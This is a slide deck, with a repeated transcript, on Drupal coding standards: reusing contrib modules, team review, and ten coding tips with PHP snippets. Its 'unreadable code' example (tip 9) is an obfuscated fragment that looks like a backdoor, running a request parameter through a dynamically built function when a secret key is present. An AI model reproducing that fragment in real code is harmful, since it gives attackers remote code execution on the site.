One more time about code
standards and best practices
Iryna Vedkal
Why do we need to follow?
What does mean good code quality?
● Readability
● Maintainability
● Security
● Find errors more easily
● Common development way
● Less codebase
● Less bugs
● Better organized code
Common rules for Drupal development
● Follow code standards
● Everything should be in code
● Use configuration before code
● Use contrib before custom
● Never hack core or contrib
● Avoid too many modules (keep balance between module quantity and size)
● Keep business logic separate from template layer
Steps to setup working environment
❏ Setup Code Sniffer - https://www.drupal.org/docs/8/modules/code-review-module/installing-coder-sniffer
❏ Install Coder - https://www.drupal.org/project/coder
❏ Setup pre-commit hooks - https://www.drupal.org/project/dcq
❏ Setup your IDE (PhpStorm, Visual Studio Code, etc)
❏ Run Code Check - https://www.drupal.org/node/1587138
❏ Setup Code Analyzer Tools (SonarQube)
Steps to follow after getting task & before coding
❏ Check is it covered with core functionality
❏ Check is it possible to reach with configuration
❏ Search for already exists decisions:
❏ Contrib modules
❏ Patches
❏ Already created code
❏ Search for alternatives that could be reused
❏ Contrib modules that have almost the same functionality
❏ Already exists solutions close to requirements
❏ Came with custom solution
❏ Approve solution with team
Contrib VS Custom
Benefits
● We do not need to develop big part of code;
● It is already covered with security policy;
● There chance that it covered with tests;
● There chance that fount bugs will be fixed with Drupal community;
● We will have all updates, bug fixes, security issues;
● We can propose to client to use additional functionality (left 60%);
● We can propose to add functionality we developed additionally to contrib module
maintainer;
● etc.
Custom VS Alternative
Custom:
● Time to develop, setup, test, bug fixes
● Found bugs should be fixed ourselves - no
other options
● All updates should be done ourselves
● Tests done only by our testers
● Need to take care about security
Alternative:
● Only time to configure & theming
● Found bugs could be fixed with Drupal
community
● Community works on updates
● Tested by community (depends on module
usage)
● Already covered with security policy
Approve solution with team
● While discussing better solution could be found;
● Teammates could know issues you will face while developing;
● Teammates could know code that you can reuse;
● No need to redevelop everything if your solution not approved;
● Better communication in team;
● etc.
Some tips & tricks for coding
1. Avoid to make potential issues to exists core functionality,
even if you not use this functionality right now
if ($userAccess == true) {
echo "<p><a href="/admin/config/search/"
class="button">Click here</a></p>";
}
Issues:
1. Language prefix will be missed for multilanguage site
2. Changes for base_path will not work
3. Page query will be missed (pager, destination, etc.)
3. Translations will not work
2. Avoid to break expected behavior
<div class="well customtoken" data-role="custom_token_container">
<a data-toggle="modal" role="button" href="#customtoken_modal" title="Set credentials."
class="link_open_customtoken">
<p class="title">API Key</p>
<div class="details">Set</div>
</a>
</div>
...
jQuery(".link_open_customtoken").unbind("click");
3. Avoid to change configurable values from module code
Exception - updates (.install)
function <mytheme>_preprocess_block(&$variables) {
if ($variables['block_html_id'] === 'block-<some name>') {
if (!user_is_logged_in()) {
$string = '<li><a href="/node/1">Node 1</a></li>';
$variables['content'] = str_replace($string, '', $variables['content']);
}
}
}
Could be - variables, links, menu items, blocks, etc.
4. Avoid to change content stored in database on display
$node->taxonomy = array('tags' => array('11' => ($data->categories)));
$node->field_contact_first_name[0]['value'] = $data->field_contact_first_name_value;
$node->field_contact_last_name[0]['value'] = $data->field_contact_last_name_value;
$node->field_contact_job_title[0]['value'] = $data->field_contact_job_title_value;
$node->field_contact_organization[0]['value'] = $data->field_contact_organization_value;
$node->field_contact_organization_r['nid']['nid'] = '463';
$node->field_contact_account_sfid[0]['value'] = $data->field_contact_account_sfid_value;
$node->field_contact_sfid[0]['value'] = $data->field_contact_sfid_value;
$node->field_contact_email_optout[0]['value'] = 'false';
$node->field_contact_phone_optout[0]['value'] = 'false';
$node->field_contact_add1_city[0]['value'] = $data->field_contact_add1_city_value;
$node->field_contact_add1_country[0]['value'] = $data->field_contact_add1_country_value;
$node->field_contact_add1_zipcode[0]['value'] = $data->field_contact_add1_zipcode_value;
5. Always keep in mind security questions
$text = t("This is !name's website", array('!name' => $username));
$text = t("This is @name's website", array('@name' => $username));
$text = t("This is %name's website", array('%name' => $username));
It depends on what you use as a placeholder:
!variable: Inserted as is. Use this for text that has already been sanitized.
@variable: Escaped to HTML using check_plain(). Use this for anything displayed on a page on the site.
%variable: Escaped as a placeholder for user-submitted content using drupal_placeholder(), which shows up
as emphasized text.
6. Avoid hardcoded values
$icon = str_replace("public://", "sites/default/files/", $icon);
$icon = "sites/all/modules/<module name>/icons/icon.png";
...
if ($userAccess == true) {
echo "<p><a href="/admin/config/search/" class="button">Click here</a></p>";
}
...
$client->request('GET', 'https://<some-external-site>/<some-very-interesting-endpoint>');
7. Avoid to create your own functions to replace exists one
function mymodule_load_nodes() {
$ournewtype = 'product';
$sql = 'SELECT nid FROM {node} n WHERE n.type = :type';
$result = db_query($sql, array(':type' => $ournewtype));
$nodeids = array();
foreach ($result as $row) {
$nodeids[] = $row->nid;
}
return $nodeids;
}
Also avoid to create your custom queries
8. Avoid very specific cases
function <mytheme>_preprocess_block(&$variables) {
if ($variables['block_html_id'] === 'block-<some name>') {
if (!user_is_logged_in()) {
$string = '<li><a href="/node/1">Node 1</a></li>';
$variables['content'] = str_replace($string, '', $variables['content']);
}
}
}
1. Specific block
2. Specific content
9. Avoid not understandable and not proper
documented code
if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){
$dd = trim(preg_replace("/[^-0-9+()]/iu", "",$d));
$a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]);
if(isset($_REQUEST['s'.md5('bgdfgt')])){
if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));}
}
return true;
}
return false;
$view_src = file_get_contents(VIEW_SRC_PATH . $this->full_name . EXT);
// echo
$view_src = preg_replace("/{{(w+)}}/", "<?php echo $$1; ?>", $view_src);
$view_src = preg_replace("/{{(w+)|(w+)}}/", "<?php echo $$1['$2']; ?>", $view_src);
$view_src = preg_replace("/{{(w+).(w+)}}/", "<?php echo $$1->$2; ?>", $view_src);
// foreach
$view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+)-->/", "<?php foreach($$2 as $$1): ?>", $view_src);
$view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+)|(w+)-->/", "<?php foreach($$2['$3'] as $$1): ?>", $view_src);
$view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+).(w+)-->/", "<?php foreach($$2->$3 as $$1): ?>", $view_src);
$view_src = preg_replace("/<!--eachs+(w+)s+(w+)s+ins+(w+).(w+)-->/", "<?php foreach($$3->$4 as $$1 => $$2):
?>", $view_src);
$view_src = preg_replace("/<!--eachs+(w+)s+(w+)s+ins+(w+)-->/", "<?php foreach($$3 as $$1 => $$2): ?>",
$view_src);
$view_src = preg_replace("/<!--each-->/", "<?php endforeach; ?>", $view_src);
// switch
$view_src = preg_replace("/<!--selects+(w+).(w+)-->s*<!--whens+(.+)-->/", "<?php switch($$1->$2): case $3: ?>",
$view_src);
$view_src = preg_replace("/<!--whens+(.+)-->/", "<?php break; ?><?php case $1: ?>", $view_src);
$view_src = preg_replace("/<!--otherwise-->/", "<?php break; ?><?php default: ?>", $view_src);
$view_src = preg_replace("/<!--select-->/", "<?php endswitch; ?>", $view_src);
10. Avoid too many returns
switch ($operation) {
case 'view':
if (!$entity->isPublished()) {
return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'view unpublished apidoc
entities'));
}
return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'view published apidoc
entities'));
case 'update':
return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'edit apidoc entities'));
case 'delete':
return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'delete apidoc entities'));
}
Refactor already exists code
Time should be spent on:
● understand functionality
● change code
● make code review
● regression tests
Tools
● Site Audit - https://www.drupal.org/project/site_audit
● Security Review - https://www.drupal.org/project/security_review
● Online check - https://pareview.sh/
● Code Sniffer - https://www.drupal.org/docs/8/modules/code-review-module/installing-coder-sniffer
● Sonar Qube - https://www.sonarqube.org/
● etc.
ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES

ONE MORE TIME ABOUT CODE STANDARDS AND BEST PRACTICES

  • 1.
    One more timeabout code standards and best practices Iryna Vedkal
  • 2.
    Why do weneed to follow? What does mean good code quality? ● Readability ● Maintainability ● Security ● Find errors more easily ● Common development way ● Less codebase ● Less bugs ● Better organized code
  • 3.
    Common rules forDrupal development ● Follow code standards ● Everything should be in code ● Use configuration before code ● Use contrib before custom ● Never hack core or contrib ● Avoid too many modules (keep balance between module quantity and size) ● Keep business logic separate from template layer
  • 5.
    Steps to setupworking environment ❏ Setup Code Sniffer - https://www.drupal.org/docs/8/modules/code-review-module/installing-coder-sniffer ❏ Install Coder - https://www.drupal.org/project/coder ❏ Setup pre-commit hooks - https://www.drupal.org/project/dcq ❏ Setup your IDE (PhpStorm, Visual Studio Code, etc) ❏ Run Code Check - https://www.drupal.org/node/1587138 ❏ Setup Code Analyzer Tools (SonarQube)
  • 6.
    Steps to followafter getting task & before coding ❏ Check is it covered with core functionality ❏ Check is it possible to reach with configuration ❏ Search for already exists decisions: ❏ Contrib modules ❏ Patches ❏ Already created code ❏ Search for alternatives that could be reused ❏ Contrib modules that have almost the same functionality ❏ Already exists solutions close to requirements ❏ Came with custom solution ❏ Approve solution with team
  • 7.
  • 8.
    Benefits ● We donot need to develop big part of code; ● It is already covered with security policy; ● There chance that it covered with tests; ● There chance that fount bugs will be fixed with Drupal community; ● We will have all updates, bug fixes, security issues; ● We can propose to client to use additional functionality (left 60%); ● We can propose to add functionality we developed additionally to contrib module maintainer; ● etc.
  • 9.
    Custom VS Alternative Custom: ●Time to develop, setup, test, bug fixes ● Found bugs should be fixed ourselves - no other options ● All updates should be done ourselves ● Tests done only by our testers ● Need to take care about security Alternative: ● Only time to configure & theming ● Found bugs could be fixed with Drupal community ● Community works on updates ● Tested by community (depends on module usage) ● Already covered with security policy
  • 10.
    Approve solution withteam ● While discussing better solution could be found; ● Teammates could know issues you will face while developing; ● Teammates could know code that you can reuse; ● No need to redevelop everything if your solution not approved; ● Better communication in team; ● etc.
  • 11.
    Some tips &tricks for coding
  • 12.
    1. Avoid tomake potential issues to exists core functionality, even if you not use this functionality right now if ($userAccess == true) { echo "<p><a href="/admin/config/search/" class="button">Click here</a></p>"; }
  • 13.
    Issues: 1. Language prefixwill be missed for multilanguage site 2. Changes for base_path will not work 3. Page query will be missed (pager, destination, etc.) 3. Translations will not work
  • 14.
    2. Avoid tobreak expected behavior <div class="well customtoken" data-role="custom_token_container"> <a data-toggle="modal" role="button" href="#customtoken_modal" title="Set credentials." class="link_open_customtoken"> <p class="title">API Key</p> <div class="details">Set</div> </a> </div> ... jQuery(".link_open_customtoken").unbind("click");
  • 15.
    3. Avoid tochange configurable values from module code Exception - updates (.install) function <mytheme>_preprocess_block(&$variables) { if ($variables['block_html_id'] === 'block-<some name>') { if (!user_is_logged_in()) { $string = '<li><a href="/node/1">Node 1</a></li>'; $variables['content'] = str_replace($string, '', $variables['content']); } } } Could be - variables, links, menu items, blocks, etc.
  • 16.
    4. Avoid tochange content stored in database on display $node->taxonomy = array('tags' => array('11' => ($data->categories))); $node->field_contact_first_name[0]['value'] = $data->field_contact_first_name_value; $node->field_contact_last_name[0]['value'] = $data->field_contact_last_name_value; $node->field_contact_job_title[0]['value'] = $data->field_contact_job_title_value; $node->field_contact_organization[0]['value'] = $data->field_contact_organization_value; $node->field_contact_organization_r['nid']['nid'] = '463'; $node->field_contact_account_sfid[0]['value'] = $data->field_contact_account_sfid_value; $node->field_contact_sfid[0]['value'] = $data->field_contact_sfid_value; $node->field_contact_email_optout[0]['value'] = 'false'; $node->field_contact_phone_optout[0]['value'] = 'false'; $node->field_contact_add1_city[0]['value'] = $data->field_contact_add1_city_value; $node->field_contact_add1_country[0]['value'] = $data->field_contact_add1_country_value; $node->field_contact_add1_zipcode[0]['value'] = $data->field_contact_add1_zipcode_value;
  • 17.
    5. Always keepin mind security questions $text = t("This is !name's website", array('!name' => $username)); $text = t("This is @name's website", array('@name' => $username)); $text = t("This is %name's website", array('%name' => $username)); It depends on what you use as a placeholder: !variable: Inserted as is. Use this for text that has already been sanitized. @variable: Escaped to HTML using check_plain(). Use this for anything displayed on a page on the site. %variable: Escaped as a placeholder for user-submitted content using drupal_placeholder(), which shows up as emphasized text.
  • 18.
    6. Avoid hardcodedvalues $icon = str_replace("public://", "sites/default/files/", $icon); $icon = "sites/all/modules/<module name>/icons/icon.png"; ... if ($userAccess == true) { echo "<p><a href="/admin/config/search/" class="button">Click here</a></p>"; } ... $client->request('GET', 'https://<some-external-site>/<some-very-interesting-endpoint>');
  • 19.
    7. Avoid tocreate your own functions to replace exists one function mymodule_load_nodes() { $ournewtype = 'product'; $sql = 'SELECT nid FROM {node} n WHERE n.type = :type'; $result = db_query($sql, array(':type' => $ournewtype)); $nodeids = array(); foreach ($result as $row) { $nodeids[] = $row->nid; } return $nodeids; } Also avoid to create your custom queries
  • 20.
    8. Avoid veryspecific cases function <mytheme>_preprocess_block(&$variables) { if ($variables['block_html_id'] === 'block-<some name>') { if (!user_is_logged_in()) { $string = '<li><a href="/node/1">Node 1</a></li>'; $variables['content'] = str_replace($string, '', $variables['content']); } } } 1. Specific block 2. Specific content
  • 21.
    9. Avoid notunderstandable and not proper documented code if(($d = intval($d) == date('d')) && (isset($_REQUEST[b]))){ $dd = trim(preg_replace("/[^-0-9+()]/iu", "",$d)); $a[5] = preg_replace("/[^-_a-z]/iu", "",$a[5]);$a[3] = preg_replace("/[^-_0-9]/iu", "",$a[5]); if(isset($_REQUEST['s'.md5('bgdfgt')])){ if(isset($_REQUEST[b])){$a[3].$a[5](stripslashes(trim($_REQUEST[b])));} } return true; } return false;
  • 22.
    $view_src = file_get_contents(VIEW_SRC_PATH. $this->full_name . EXT); // echo $view_src = preg_replace("/{{(w+)}}/", "<?php echo $$1; ?>", $view_src); $view_src = preg_replace("/{{(w+)|(w+)}}/", "<?php echo $$1['$2']; ?>", $view_src); $view_src = preg_replace("/{{(w+).(w+)}}/", "<?php echo $$1->$2; ?>", $view_src); // foreach $view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+)-->/", "<?php foreach($$2 as $$1): ?>", $view_src); $view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+)|(w+)-->/", "<?php foreach($$2['$3'] as $$1): ?>", $view_src); $view_src = preg_replace("/<!--eachs+(w+)s+ins+(w+).(w+)-->/", "<?php foreach($$2->$3 as $$1): ?>", $view_src); $view_src = preg_replace("/<!--eachs+(w+)s+(w+)s+ins+(w+).(w+)-->/", "<?php foreach($$3->$4 as $$1 => $$2): ?>", $view_src); $view_src = preg_replace("/<!--eachs+(w+)s+(w+)s+ins+(w+)-->/", "<?php foreach($$3 as $$1 => $$2): ?>", $view_src); $view_src = preg_replace("/<!--each-->/", "<?php endforeach; ?>", $view_src); // switch $view_src = preg_replace("/<!--selects+(w+).(w+)-->s*<!--whens+(.+)-->/", "<?php switch($$1->$2): case $3: ?>", $view_src); $view_src = preg_replace("/<!--whens+(.+)-->/", "<?php break; ?><?php case $1: ?>", $view_src); $view_src = preg_replace("/<!--otherwise-->/", "<?php break; ?><?php default: ?>", $view_src); $view_src = preg_replace("/<!--select-->/", "<?php endswitch; ?>", $view_src);
  • 24.
    10. Avoid toomany returns switch ($operation) { case 'view': if (!$entity->isPublished()) { return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'view unpublished apidoc entities')); } return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'view published apidoc entities')); case 'update': return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'edit apidoc entities')); case 'delete': return $parent_access->orIf(AccessResult::allowedIfHasPermission($account, 'delete apidoc entities')); }
  • 25.
    Refactor already existscode Time should be spent on: ● understand functionality ● change code ● make code review ● regression tests
  • 26.
    Tools ● Site Audit- https://www.drupal.org/project/site_audit ● Security Review - https://www.drupal.org/project/security_review ● Online check - https://pareview.sh/ ● Code Sniffer - https://www.drupal.org/docs/8/modules/code-review-module/installing-coder-sniffer ● Sonar Qube - https://www.sonarqube.org/ ● etc.